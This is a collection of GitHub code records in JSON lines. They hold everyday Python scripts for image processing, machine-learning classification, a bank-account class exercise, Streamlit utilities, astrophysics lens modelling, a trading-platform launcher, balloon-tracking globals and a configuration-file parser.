+{"seq_id":"26081791413","text":"import argparse\nimport cv2\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('path_image_input',\n                    help='path to imput image to be displayed')\nparser.add_argument('path_image_output',\n                    help='path for the processed image to be saved')\nargs = vars(parser.parse_args())\n\nimage_input = cv2.imread(args['path_image_input'])\ncv2.imshow('loaded', image_input)\ngrey_image = cv2.cvtColor(image_input, cv2.COLOR_BGR2GRAY)\ncv2.imshow('grey scale', grey_image)\ncv2.imwrite(args['path_image_output'], grey_image)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"damiansp/completePython","sub_path":"image_processing/open_cv4/02_handling/argparse_load_process_save_image.py","file_name":"argparse_load_process_save_image.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39394770969","text":"from collections import namedtuple\r\nimport pandas as pd\r\nimport multiprocessing\r\nfrom time import time\r\nfrom sklearn.neural_network import MLPClassifier\r\nimport pickle\r\n\r\ncores = multiprocessing.cpu_count()\r\ncomments = []\r\n\r\nTaggedDocument = namedtuple('TaggedDocument', 'words tags')\r\ndf_train = pd.read_csv(\"saved_model/df_train.csv\", index_col=0)\r\ndf_test = pd.read_csv(\"saved_model/df_test.csv\", index_col=0)\r\n\r\ntagged_train_docs = [TaggedDocument(d, c)\r\n                     for d, c in df_train[['token_review', 'score']].values]\r\ntagged_test_docs = [TaggedDocument(d, c)\r\n                    for d, c in df_test[['X_test_tokkended', 'y_test']].values]\r\n\r\nfilename = 'saved_model/d2v.sav'\r\ndoc_vectorizer = pickle.load(open(filename, 'rb'))\r\n\r\nX_train = [doc_vectorizer.infer_vector(doc.words) for doc in tagged_train_docs]\r\ny_train = [doc.tags for doc in tagged_train_docs]\r\nX_test = [doc_vectorizer.infer_vector(doc.words) for doc in tagged_test_docs]\r\ny_test = [doc.tags for doc in tagged_test_docs]\r\nprint(len(X_train), len(y_train))\r\n\r\n## sklearn neural network\r\n\r\nmlp_clf = MLPClassifier(\r\n    hidden_layer_sizes=(50,),\r\n    max_iter=10,\r\n    alpha=1e-4,\r\n    verbose=15,\r\n    tol=1e-4,\r\n    random_state=1,\r\n    learning_rate_init=.1\r\n)\r\nstart = time()\r\nmlp_clf.fit(X_train, y_train)\r\nend = time()\r\nprint('Time: {:f}s'.format(end-start))\r\n\r\ny_pred = mlp_clf.score(X_test, y_test)\r\nprint(\"====Multilayer Perceptron by sklearn====\")\r\nprint(\"테스트 정확도: {:.2f}\".format(y_pred*100))\r\n","repo_name":"DEVHARAM/data-mining-project","sub_path":"doc2vec/doc2vec_MLP.py","file_name":"doc2vec_MLP.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"9088023003","text":"#[SOAL NOMOR 3] Buat hierarki kelas untuk sistem perbankan. \r\n# Sistem harus memiliki kelas dasar untuk akun, dengan kelas turunan untuk rekening giro dan rekening tabungan. \r\n# Kelas rekening giro harus memiliki variabel instan untuk nomor rekening, saldo, dan riwayat transaksi. \r\n# Kelas rekening tabungan harus memiliki variabel instan untuk nomor rekening, saldo, dan suku bunga. \r\n# Kelas rekening giro dan tabungan harus memiliki metode untuk menarik dan menyetor uang, dan kelas rekening giro juga harus memiliki metode untuk menulis cek. \r\n# Hierarki kelas harus dibuat sehingga kode berikut dapat berjalan dan menghasilkan output berikut.\r\n\r\nclass BankAccount:\r\n    def __init__(self, account_number, balance):\r\n        self.account_number = account_number\r\n        self.balance = balance\r\n        self.transactions = []\r\n\r\n    def deposit(self, amount):\r\n        self.balance += amount\r\n        self.transactions.append(f\"Deposit: ${amount:.2f}\")\r\n\r\n    def withdraw(self, amount):\r\n        if amount <= self.balance:\r\n            self.balance -= amount\r\n            self.transactions.append(f\"Withdrawal: ${amount:.2f}\")\r\n        else:\r\n            print(\"Insufficient funds\")\r\n\r\nclass CheckingAccount(BankAccount):\r\n    def __init__(self, account_number, balance):\r\n        super().__init__(account_number, balance)\r\n        self.transactions = []\r\n\r\n    def write_check(self, amount):\r\n        if self.balance >= amount:\r\n            self.balance -= amount\r\n            self.transactions.append(f\"Withdrawal: ${amount:.2f}\")\r\n            self.transactions.append(f\"Check: ${amount:.2f}\")\r\n        else:\r\n            print(\"Error: Insufficient funds.\")\r\n\r\n\r\nclass SavingsAccount(BankAccount):\r\n    def __init__(self, account_number, balance, interest_rate):\r\n        super().__init__(account_number, balance)\r\n        self.interest_rate = interest_rate\r\n\r\n    def calculate_interest(self):\r\n        interest = self.balance * self.interest_rate\r\n        self.deposit(interest)\r\n        self.transactions.append(f\"Interest: ${interest:.2f}\")\r\n\r\n\r\nchecking = CheckingAccount(\"123456\", 1000.00)\r\nsavings = SavingsAccount(\"654321\", 5000.00, 0.02)\r\n\r\nchecking.write_check(100.00)\r\nsavings.calculate_interest()\r\n\r\nprint(checking.account_number, checking.balance, checking.transactions)\r\nprint(savings.account_number, savings.balance, savings.transactions)\r\n","repo_name":"ericaishere/Robotiik","sub_path":"tugas_robotiik_python_3.py","file_name":"tugas_robotiik_python_3.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14743643164","text":"\"\"\"\nONLY STREAMLIT UTILS, who puts DB connect here died\n\nfunction usefull for the project's UI\n\nmethod:\n    - check_user_connection\n    - dash_error : show the error message if no_dash_in_my_text retrun True\n\"\"\"\nimport streamlit as st\nfrom decouple import config\n\nfrom ai_sustainability.package_application.application import Application\nfrom ai_sustainability.package_business.models import Username\nfrom ai_sustainability.package_data_access.db_connection import DbConnection\n\n\n@st.cache_resource\ndef get_application() -> Application:\n    database = DbConnection()\n    app = Application(database)\n    return app\n\n\ndef check_user_connection() -> Username:\n    if \"username\" not in st.session_state or st.session_state.username == \"\":\n        # User not connected, don't show the form, ask for connection\n        st.caption(\"❌ You are not connected, please connect with your username in the Connection page.\")\n        return Username(\"\")\n    username = st.session_state.username\n    # Connected as an Admin\n    if username == config(\"ADMIN_USERNAME\"):\n        st.caption(\"🔑 Connected as an Admin\")\n    # Connected as an User\n    else:\n        st.caption(\"✅ Connected as \" + str(username))\n    # To detect if the user create a form with the same name as the previous one (used in Historic)\n    return st.session_state.username\n\n\ndef dash_error() -> None:\n    st.warning(\"Please don't use dash in your form name\")\n","repo_name":"bhourte/ai-sustainability","sub_path":"ai_sustainability/package_user_interface/utils_streamlit.py","file_name":"utils_streamlit.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29080544158","text":"import tensorflow as tf\nfrom censai.models import Model, VAE\nfrom censai import PhysicalModel, RIM\nimport h5py, os, json\nimport numpy as np\nfrom scipy.stats import truncnorm\n\n# total number of slurm workers detected\n# defaults to 1 if not running under SLURM\nN_WORKERS = int(os.getenv('SLURM_ARRAY_TASK_COUNT', 1))\n\n# this worker's array index. Assumes slurm array job is zero-indexed\n# defaults to zero if not running under SLURM\nTHIS_WORKER = int(os.getenv('SLURM_ARRAY_TASK_ID', 0)) ## it starts from 1!!\n\n\ndef main(args):\n    with open(os.path.join(args.kappa_model, \"model_hparams.json\"), \"r\") as f:\n        kappa_vae_hparams = json.load(f)\n    kappa_vae = VAE(**kappa_vae_hparams)\n    ckpt1 = tf.train.Checkpoint(step=tf.Variable(1), net=kappa_vae)\n    checkpoint_manager1 = tf.train.CheckpointManager(ckpt1, args.kappa_model, 1)\n    checkpoint_manager1.checkpoint.restore(checkpoint_manager1.latest_checkpoint).expect_partial()\n\n    with open(os.path.join(args.source_model, \"model_hparams.json\"), \"r\") as f:\n        source_vae_hparams = json.load(f)\n    source_vae = VAE(**source_vae_hparams)\n    ckpt2 = tf.train.Checkpoint(step=tf.Variable(1), net=source_vae)\n    checkpoint_manager2 = tf.train.CheckpointManager(ckpt2, args.source_model, 1)\n    checkpoint_manager2.checkpoint.restore(checkpoint_manager2.latest_checkpoint).expect_partial()\n\n    phys = PhysicalModel(pixels=128, method=\"fft\")\n\n    with open(os.path.join(args.model, \"unet_hparams.json\")) as f:\n        unet_params = json.load(f)\n    unet = Model(**unet_params)\n    ckpt = tf.train.Checkpoint(net=unet)\n    checkpoint_manager = tf.train.CheckpointManager(ckpt, args.model, 1)\n    checkpoint_manager.checkpoint.restore(checkpoint_manager.latest_checkpoint).expect_partial()\n    with open(os.path.join(args.model, \"rim_hparams.json\")) as f:\n        rim_params = json.load(f)\n    rim_params[\"source_link\"] = \"relu\"\n    rim = RIM(phys, unet, **rim_params)\n\n    with h5py.File(os.path.join(os.getenv(\"CENSAI_PATH\"), \"results\", f\"rim_pred_on_vae_{THIS_WORKER:02d}.h5\"), \"w\") as hf:\n        hf.create_dataset(\"observation\", shape=[args.total, phys.pixels, phys.pixels])\n        hf.create_dataset(\"kappa\", shape=[args.total, phys.kappa_pixels, phys.kappa_pixels])\n        hf.create_dataset(\"source\", shape=[args.total, phys.src_pixels, phys.src_pixels])\n        hf.create_dataset(\"observation_pred\", shape=[args.total, phys.pixels, phys.pixels])\n        hf.create_dataset(\"kappa_pred\", shape=[args.total, phys.pixels, phys.pixels])\n        hf.create_dataset(\"source_pred\", shape=[args.total, phys.pixels, phys.pixels])\n        hf.create_dataset(\"noise_rms\", shape=[args.total])\n        hf.create_dataset(\"psf_fwhm\", shape=[args.total])\n        hf.create_dataset(\"chi_squared\", shape=[args.total])\n        hf.create_dataset(\"kappa_mse\", shape=[args.total])\n        hf.create_dataset(\"source_mse\", shape=[args.total])\n\n        for batch in range(args.total//args.batch_size):\n            z = tf.random.normal(shape=[args.batch_size, source_vae.latent_size])\n            source = tf.nn.relu(source_vae.decode(z))\n            source /= tf.reduce_max(source, axis=(1, 2, 3), keepdims=True)\n            z = tf.random.normal(shape=[args.batch_size, kappa_vae.latent_size])\n            kappa = 10**kappa_vae.decode(z)\n            noise_rms = truncnorm.rvs(1e-3, 0.1, loc=0.02, scale=0.02, size=args.batch_size)\n            psf_fwhm = truncnorm.rvs(phys.image_fov/128, 4*phys.image_fov/128, loc=1.5*phys.image_fov/128, scale=0.5*phys.image_fov/128, size=args.batch_size)\n            psf = phys.psf_models(psf_fwhm, cutout_size=20)\n            obs = phys.noisy_forward(source, kappa, noise_rms, psf)\n            source_pred, kappa_pred, chisq = rim.predict(obs, noise_rms, psf)\n            source_mse = tf.reduce_mean((source_pred[-1] - source)**2, axis=(1, 2, 3))\n            kappa_mse = tf.reduce_mean((kappa_pred[-1] - kappa)**2, axis=(1, 2, 3))\n            obs_pred = phys.forward(source_pred[-1], kappa_pred[-1], psf)\n\n            start = batch * args.batch_size\n            end = (batch+1) * args.batch_size\n            hf[\"observation\"][start:end] = obs.numpy().squeeze().astype(np.float32)\n            hf[\"source\"][start:end] = source.numpy().squeeze().astype(np.float32)\n            hf[\"kappa\"][start:end] = kappa.numpy().squeeze().astype(np.float32)\n            hf[\"observation_pred\"][start:end] = obs_pred.numpy().squeeze().astype(np.float32)\n            hf[\"kappa_pred\"][start:end] = kappa_pred[-1].numpy().squeeze().astype(np.float32)\n            hf[\"source_pred\"][start:end] = source_pred[-1].numpy().squeeze().astype(np.float32)\n            hf[\"chi_squared\"][start:end] = chisq[-1].numpy().squeeze().astype(np.float32)\n            hf[\"source_mse\"][start:end] = source_mse.numpy().astype(np.float32)\n            hf[\"kappa_mse\"][start:end] = kappa_mse.numpy().astype(np.float32)\n            hf[\"noise_rms\"][start:end] = noise_rms.astype(np.float32)\n            hf[\"psf_fwhm\"][start:end] = psf_fwhm.astype(np.float32)\n\n\nif __name__ == '__main__':\n    from argparse import ArgumentParser\n    parser = ArgumentParser()\n    parser.add_argument(\"--model\", required=True, help=\"Full path to the model checkpoints\")\n    parser.add_argument(\"--source_model\", required=True, help=\"Full path to source VAE checkpoints\")\n    parser.add_argument(\"--kappa_model\", required=True, help=\"Full path to kappa VAE checkpoints\")\n    parser.add_argument(\"--batch_size\", default=10, type=int)\n    parser.add_argument(\"--total\", default=1000, type=int)\n\n    args = parser.parse_args()\n    main(args)","repo_name":"AlexandreAdam/Censai","sub_path":"scripts/rim_pred_on_vae.py","file_name":"rim_pred_on_vae.py","file_ext":"py","file_size_in_byte":5547,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"}
+{"seq_id":"42302609774","text":"import json\r\nimport os\r\nimport platform\r\nimport sys\r\nimport threading\r\n\r\nfrom multi_tasking import JobServer, SubProcessManager\r\nfrom tasks import KeepConnectionAlive\r\nfrom trade_interface import TradeInterface\r\nfrom trading_platform_servers import QuoteServer, GraphServer\r\nfrom trading_platform_shell import ShellServer\r\n\r\n#\r\n#\r\n#\r\nif __name__ == '__main__':\r\n    # Default configuration.\r\n    offline = False\r\n\r\n    # Ensure to run in root directory.\r\n    current_src_path = os.path.dirname(os.path.realpath(__file__))\r\n    os.chdir(current_src_path)\r\n\r\n    print('*')\r\n    print('*   Trading Platform')\r\n    print('*   Copyright (c) 2018 Luca Ballan')\r\n    print('*')\r\n    print('THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR')\r\n    print('IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,')\r\n    print('FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE')\r\n    print('AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER')\r\n    print('LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,')\r\n    print('OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE')\r\n    print('SOFTWARE.')\r\n    print('*')\r\n    print('BY USING THIS SOFTWARE YOU ARE ACCEPTING THE FACT THAT IT WILL HAVE ACCESS TO ALL')\r\n    print('YOUR E*TRADE ACCOUNT DATA, AND THAT IT CAN AUTOMATICALLY PLACE ORDERS THAT YOU DO')\r\n    print('OR YOU DO NOT WANT.')\r\n    print('*')\r\n    print('THIS IS NOT A BUG FREE SOFTWARE AND MANY FUNCTIONALITIES HAVE NOT BEEN TESTED.')\r\n    print('USE THIS SOFTWARE AT YOUR OWN RISK.')\r\n    print('*')\r\n    while True:\r\n        answer = input('Do you agree [y/n]? ').lower()\r\n        if answer == 'y':\r\n            break\r\n        if answer == 'n' or answer == 'no':\r\n            exit(0)\r\n    print('')\r\n\r\n    # Parse command line.\r\n    clear_jobs = False\r\n    use_sandbox = False\r\n    for arg in sys.argv[1:]:\r\n        if arg.lower() == 'clear':\r\n            clear_jobs = True\r\n            print('Clear existing jobs.')\r\n        if arg.lower() == 'sandbox':\r\n            use_sandbox = True\r\n            print('Use sandbox.')\r\n\r\n    # Load keys.\r\n    with open('keys.txt', 'r') as fp:\r\n        keys = json.load(fp)\r\n        if (use_sandbox and keys['sandbox']['consumer_key'] == '') or (not use_sandbox and keys['production']['consumer_key'] == ''):\r\n            print('Consumer key and secret need to be set in keys.txt for the platform to connect to your account.')\r\n            print('See README.md for additional information.')\r\n            print('')\r\n            exit(0)\r\n\r\n    # Load preferences.\r\n    with open('preferences.txt', 'r') as fp:\r\n        preferences = json.load(fp)\r\n\r\n    # Load settings.\r\n    with open('settings.txt', 'r') as fp:\r\n        settings = json.load(fp)\r\n    browser_path = settings['browser_path_' + platform.system()]\r\n    quote_update_time = settings['quote_update_time_sec']\r\n    job___update_time = settings['job___update_time_sec']\r\n\r\n    # Start JobServer.\r\n    job_server = JobServer()\r\n    job_server.load_or_create(status_file_path='status.pickle', clear_jobs=clear_jobs)\r\n    job_server.time_frequency_sec = job___update_time\r\n\r\n    # Init TradeInterface.\r\n    trade_interface = TradeInterface(keys=keys, use_sandbox=use_sandbox, browser_path=browser_path)\r\n\r\n    # Init QuoteServer.\r\n    quote_server = QuoteServer(trade_interface)\r\n    QuoteServer.time_frequency_sec = quote_update_time\r\n\r\n    # Init GraphServer\r\n    graph_server = GraphServer()\r\n    quote_figure_manager = SubProcessManager()\r\n\r\n    # Share data across tasks -> JobServer\r\n    #                         -> TradeInterface\r\n    #                         -> GraphServer\r\n    #                         -> QuoteFigureServer\r\n    #                         -> QuoteServer\r\n    aux_data = {'job_server': job_server,\r\n                'trade': trade_interface,\r\n                'quote_server': quote_server,\r\n                'figure_server': graph_server,\r\n                'quote_figure_manager': quote_figure_manager,\r\n                'preferences': preferences,\r\n                'main_thread_quit_event': threading.Event(),\r\n                'settings': settings,\r\n                }\r\n    job_server.aux_data = aux_data\r\n    graph_server.aux_data = aux_data\r\n    shell_server = ShellServer(aux_data)\r\n\r\n    # Connect trade_interface.\r\n    if not offline:\r\n        print('Connecting to the trading platform...')\r\n        if not trade_interface.connect():\r\n            exit(0)\r\n\r\n    try:\r\n        # Init trade_interface.\r\n        if not offline:\r\n            trade_interface.select_account()\r\n            job_server.add(KeepConnectionAlive(job_server.next_valid_task_id()))\r\n\r\n        # Start job_server, quote_server, shell_server.\r\n        job_server.start()\r\n        quote_server.start()\r\n        shell_server.start()\r\n\r\n        # Main Loop.\r\n        graph_server.loop()\r\n\r\n    except Exception as e:\r\n        print(str(e))\r\n\r\n    finally:\r\n        # Stop shell server.\r\n        if shell_server.is_alive():\r\n            shell_server.join()\r\n\r\n        # Check if job_server is still alive and stop it.\r\n        # It should not be running here unless an exception had happened.\r\n        if job_server.is_alive():\r\n            job_server.quit()\r\n            job_server.join()\r\n            job_server.list_done_tasks()\r\n\r\n        # Stop quote_server.\r\n        if quote_server.is_alive():\r\n            quote_server.quit()\r\n            quote_server.join()\r\n\r\n        # Stop trade_interface.\r\n        if not offline:\r\n            try:\r\n                trade_interface.disconnect()\r\n                print('Trading platform disconnected.')\r\n            except Exception as e:\r\n                print('Trading platform disconnection: FAILED')\r\n                print(str(e))\r\n\r\n        # Kill all quote_figure in manager.\r\n        quote_figure_manager.remove_all()\r\n\r\n        print('Main thread stopped.')\r\n","repo_name":"LucaBallan/PythonTradingPlatform","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":5947,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"3"}
+{"seq_id":"5510731956","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: jmrodriguezc\r\n\"\"\"\r\n\r\n# import global modules\r\nimport os\r\nimport sys\r\nimport argparse\r\nimport logging\r\nimport pandas as pd\r\n\r\n#########################\r\n# Import local packages #\r\n#########################\r\nsys.path.append(f\"{os.path.dirname(__file__)}/../libs\")\r\nimport common\r\n\r\n###################\r\n# Parse arguments #\r\n###################\r\n\r\nparser = argparse.ArgumentParser(\r\n    description='Retrieve the N rows from the given file.',\r\n    epilog='''Usages:\r\n        \r\n    python  get_n_rows.py  -c config.ini\r\n    \r\n    Note: Please read the config file to determine which parameters should be used.\r\n    ''',\r\n    formatter_class=argparse.RawTextHelpFormatter)\r\nparser.add_argument('-c', required=True, help='Config input file in YAML format')\r\nargs = parser.parse_args()\r\n\r\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')\r\n\r\n# get the name of script\r\nscript_name = os.path.splitext( os.path.basename(__file__) )[0].upper()\r\n\r\n\r\n#################\r\n# Main function #\r\n#################\r\ndef main(args):\r\n    '''\r\n    Main function\r\n    '''    \r\n    logging.info(\"getting the input parameters...\")\r\n    conf_args = common.read_config(script_name, args.c)\r\n    [ print(f\"{k} = {v}\") for k,v in conf_args.items() ]\r\n    ifile = conf_args['infile']\r\n    n_rows = int(conf_args['n_rows'])\r\n    ofile = conf_args['outfile']\r\n    \r\n    logging.info(\"reading input file...\")\r\n    data = pd.read_csv(ifile, sep=\"\\t\", nrows=n_rows, low_memory=False)\r\n\r\n    logging.info(\"printing the output file...\")\r\n    data.to_csv(ofile, sep=\"\\t\", index=False)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    # start main function\r\n    logging.info('start script: '+\"{0}\".format(\" \".join([x for x in sys.argv])))\r\n    main(args)\r\n    logging.info('end script')\r\n\r\n","repo_name":"CNIC-Proteomics/SANPRO","sub_path":"basic/get_n_rows.py","file_name":"get_n_rows.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10676798866","text":"#coding:utf-8\r\n# By:Eastmount CSDN 2021-02-05\r\nimport cv2  \r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n#读取图像\r\nsrc = cv2.imread('Lena.png')\r\n\r\n#获取BGR三个通道的像素值\r\nb, g, r = cv2.split(src)\r\nprint(r,g,b)\r\n\r\n#绘制直方图\r\nplt.figure(\"Lena\")\r\n#蓝色分量\r\nplt.hist(b.ravel(), bins=256, density=1, facecolor='b', edgecolor='b', alpha=0.75)\r\n#绿色分量\r\nplt.hist(g.ravel(), bins=256, density=1, facecolor='g', edgecolor='g', alpha=0.75)\r\n#红色分量\r\nplt.hist(r.ravel(), bins=256, density=1, facecolor='r', edgecolor='r', alpha=0.75)\r\nplt.xlabel(\"x\")\r\nplt.ylabel(\"y\")\r\nplt.show()\r\n\r\n#显示原始图像\r\ncv2.imshow(\"src\", src)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","repo_name":"eastmountyxz/ImageProcessing-Python","sub_path":"blog37-histogram/blog37-02.py","file_name":"blog37-02.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"ja","doc_type":"code","stars":1547,"dataset":"github-code","pt":"3"}
+{"seq_id":"43314423610","text":"import customtkinter as tk\nfrom Modulo import *\n\ndef clique():\n    if check.get() == 1:\n        texto1.configure(text=\"Marcado\")\n    elif check.get() == 0:\n        texto1.configure(text=\"Desmarcado\")\n    bar.set(0)\n\n\n\njanela = CriarJanela(\"Janela\", \"400x350\", 1)\ntexto1 = CriarLabel(janela, \"Name\", 6, 6)\ntexto1.grid(stick = \"SW\")\ntexto1.configure(text_color=\"Black\", font=(\"Arial\",16),justify=\"center\")\ninput1 = CriarInput(janela,Largura=200, Altura=30, Linha=7, Coluna=6, Texto=\"Clique aqui\")\ninput1.grid(stick = \"NW\")\nbtn1 = CriarBotao(janela, Texto=\"Clique aqui\", Comando=clique , Linha=8, Coluna=6, Largura=50, Altura=30)\n\n\njanela.mainloop()","repo_name":"nicolasdosantos/python-TI","sub_path":"Interface-Grafica/aula3.py","file_name":"aula3.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10769808313","text":"from threading import Lock\nfrom class_def import *\nimport numpy as np\n\nimport sys\nsys.path.insert(1,'../utils/')\nfrom common_class import *\nimport GlobalVariables\n\n\nHOST = '127.0.0.1'\nGPS_BUFFER = 1024\nIMU_BUFFER = 1024\nRSSI_BUFFER = 1024\nPORT_GPS = GlobalVariables.EKF_GPS_RECEIVE_SOCKET\nPORT_IMU = GlobalVariables.EKF_IMU_RECEIVE_SOCKET\nPORT_RSSI = GlobalVariables.EKF_RSSI_RECEIVE_SOCKET\nSYSID = 1\nEKF_OUTPUT_DISTRO_SOCKET = GlobalVariables.EKF_OUTPUT_DISTRO_SOCKET\nEKF_LOGGER_SOCKET_TIMEOUT = 36000\n\nC_NED_ENU = np.array([[0,1, 0],[1,0,0],[0,0,-1]]) \nC_ENU_NED = np.array([[0,1, 0],[1,0,0],[0,0,-1]]) \n\nN_BALLOON = GlobalVariables.N_BALLOON\nN_REAL_BALLOON = GlobalVariables.N_REAL_BALLOON\nLOOPTIME = GlobalVariables.EKF_LOOPTIME\n\nRSSI_CALIBRATION_SIZE = GlobalVariables.EKF_RSSI_CALIBRATION_SIZE\nRSSI_DISTANCE_ARRAY = np.zeros([1,N_REAL_BALLOON-1])\nGPS_DISTANCE_ARRAY = np.zeros([1,N_REAL_BALLOON-1])\nY = [np.zeros([1,1]), np.zeros([1,1])]\nX = [np.zeros([1,2]), np.zeros([1,2])]\nRSSI_PARAMS = [np.ones([1,2]), np.ones([1,2])]\nRSSI_CALIBRATION_FINISHED = [False]*(N_REAL_BALLOON-1)\n\nLAT_REF = GlobalVariables.LAT_REF\nLON_REF = GlobalVariables.LON_REF\nALT_REF = GlobalVariables.ALT_REF\n\nANCHOR = GlobalVariables.EKF_ANCHOR\nREAL_BALLOON = GlobalVariables.REAL_BALLOON\n\nGPS_TIMEOUT = 36000\nIMU_TIMEOUT = 36000\nRSSI_TIMEOUT = 36000\n\n\n\n\nRSSI = np.array([RSSI()]*(N_REAL_BALLOON-1))\nGPS_ALL = np.array([GPS()]*N_BALLOON)\nIMU_ALL = IMU()\nGPS_REF = GPS(None, LAT_REF, LON_REF, ALT_REF)\n\n\nEKF_BUFFER = []\n\nEKF_BUFFER_MUTEX = Lock()\n\n\nBREAK_GPS_THREAD = False\nBREAK_IMU_THREAD = False\nBREAK_RSSI_THREAD = np.array([False]*(N_REAL_BALLOON-1))\nBREAK_EKF_DISTRO_THREAD = False\n\nBREAK_GPS_THREAD_MUTEX= Lock()\nBREAK_IMU_THREAD_MUTEX = Lock()\nBREAK_RSSI_THREAD_MUTEX = np.array([Lock()]*(N_REAL_BALLOON-1))\nBREAK_EKF_DISTRO_THREAD_MUTEX = Lock()\n\nRSSI_UPDATE_MUTEX = np.array([Lock()]*(N_REAL_BALLOON-1))\nIMU_UPDATE_MUTEX = Lock()\nGPS_UPDATE_MUTEX = Lock()\n","repo_name":"wenchao23/HAB","sub_path":"EKF-3Balloons/GlobalVals.py","file_name":"GlobalVals.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3600807742","text":"import os\nimport sys\nimport warnings\n\nimport re\nimport toml\nfrom string import Template\nfrom pdo.common.utility import find_file_in_path\n\n__all__ = [ \"ConfigurationException\", \"parse_configuration_files\", \"parse_configuration_file\" ]\n\n# -----------------------------------------------------------------\n# -----------------------------------------------------------------\nclass ConfigurationException(Exception) :\n    \"\"\"\n    A class to capture configuration exceptions.\n    \"\"\"\n\n    def __init__(self, filename, message) :\n        super().__init__(self, \"Error in configuration file {0}: {1}\".format(filename, message))\n\n# -----------------------------------------------------------------\n# -----------------------------------------------------------------\ndef parse_configuration_files(cfiles, search_path, variable_map = None) :\n    \"\"\"\n    Locate and parse a collection of configuration files stored in a\n    TOML format.\n\n    :param list(str) cfiles: list of configuration files to load\n    :param list(str) search_path: list of directores where the files may be located\n    :param dict variable_map: a set of substitutions for variables in the files\n    :return dict:an aggregated dictionary of configuration information\n    \"\"\"\n    config = {}\n    files_found = []\n\n    try :\n        for cfile in cfiles :\n            files_found.append(find_file_in_path(cfile, search_path))\n    except FileNotFoundError as e :\n        raise ConfigurationException(e.filename, e.strerror)\n\n    for filename in files_found :\n        try :\n            config.update(parse_configuration_file(filename, variable_map))\n        except IOError as detail :\n            raise ConfigurationException(filename, \"IO error; {0}\".format(str(detail)))\n        except ValueError as detail :\n            raise ConfigurationException(filename, \"Value error; {0}\".format(str(detail)))\n        except NameError as detail :\n            raise ConfigurationException(filename, \"Name error; {0}\".format(str(detail)))\n        except KeyError as detail :\n            raise ConfigurationException(filename, \"Key error; {0}\".format(str(detail)))\n        except :\n            raise ConfigurationException(filename, \"Unknown error\")\n\n    return config\n\n# -----------------------------------------------------------------\n# -----------------------------------------------------------------\ndef expand_expressions(text, variable_map) :\n    \"\"\"expand expressions found in a string, an expression is given\n    in a ${{expr}}. For example, ${{port+5}} will expand to 7005 if\n    port is set to 7000 in the variable_map.\n\n    :param string text: template text\n    :param dict variable_map: dictionary of variable bindings\n    \"returns string: text with expressions evaluated.\n    \"\"\"\n    for item in re.findall(r'\\${{(.*)}}', text, re.MULTILINE) :\n        exp = '${{%s}}' % item\n        val = str(eval(item, variable_map))\n        text = text.replace(exp, val)\n\n    return text\n\n# -----------------------------------------------------------------\n# -----------------------------------------------------------------\ndef parse_configuration_file(filename, variable_map) :\n    \"\"\"\n    Parse a configuration file expanding variable references\n    using the Python Template library (variables are $var format)\n\n    :param string filename: name of the configuration file\n    :param dict variable_map: dictionary of expansions to use\n    :returns dict: dictionary of configuration information\n    \"\"\"\n\n    cpattern = re.compile('##.*$')\n\n    with open(filename) as fp :\n        lines = fp.readlines()\n\n    text = \"\"\n    for line in lines :\n        text += re.sub(cpattern, '', line) + ' '\n\n    if variable_map :\n        text = expand_expressions(text, variable_map)\n        text = Template(text).safe_substitute(variable_map)\n\n    return toml.loads(text)\n","repo_name":"Yeuman/project4","sub_path":"common/crypto/pdo/python/pdo/common/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
